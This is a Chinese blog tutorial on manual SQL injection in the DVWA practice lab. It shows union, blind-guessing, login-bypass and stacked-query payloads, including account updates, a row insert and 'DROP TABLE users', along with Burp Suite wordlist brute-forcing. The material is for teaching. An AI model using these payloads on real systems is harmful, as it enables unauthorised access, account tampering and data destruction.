SQL手工注入探索旅程(三)
阿新 • • 發佈:2018-12-14
SQL手工注入探索旅程(一) SQL手工注入探索旅程(一) 當無權讀取information_schema庫或者被拒絕union,order by這些語句 通過試驗去猜測資料庫資訊進而總結歸納出結果 設定dvwa安全等級為low | 我們在輸入框中輸入 一下指令:
' union select null,user()--
#使用MySQL資料庫的user()函式檢視當前使用者
得知是root(此root為資料庫的root,並非系統下的root,那麼便有權讀取information_schema資料庫的內容
如果我們注入的web伺服器使用者不是root,那麼我們通過各種猜測去判斷 在hackbar中修改變數id的值為:
' amd a is null--
#系統報錯,則表示a列不存在,若沒有報錯,則表示a列存在
通過這種方式猜測資料庫當前表中的列名 但是人為通過這種方式效率太低,我們使用kali中的字典進行爆破 因為這些字典中有些行開頭有#,所以我們使用將其#去掉,然後存放在一個txt檔案中 我們使用Burpsuite進行字典爆破,通過代理獲取的資訊將其傳送到intruder中 清除原GET請求中的變數 選中需要改變的列名,點選add將其新增到變數中,變數值即為剛剛字典中的欄位
載入剛剛製造出來的字典 去掉payload Encoding 開始爆破 爆破的出的目標資料庫中列名
猜測表名 通過burpsuite進行字典爆破判斷表明 目前我們可以得知改資料庫有一個表users,users表有個列為user
猜庫裡其他表
' and (select count(*) from table)>0--+
猜列表對應關係:
' and users.user is null--+
猜欄位內容
' or user=' admin
' or user like '%a%
猜賬戶對應密碼
' or user=' admin' and password='5f4dcc3b5aa765d61d8327deb882cf99
當資料庫可寫時 我們去修改其資料庫賬戶資訊
'; update user set user=' abc ' where user=' admin
#將使用者admin的名稱改為abc
' ; update user set passwd=' csacsd2134254' where passwd=' sfesfedfv34xvdd24'
#將使用者的passwd的密碼修改
'; INSERT INTO users (' user_id',' first_name',' last_name','
user','password','avatar') VALUES
(‘35',‘a',‘b',‘c','5f4dcc3b5aa765d61d8327deb882cf99','OK');--+
'; DROP TABLE users; --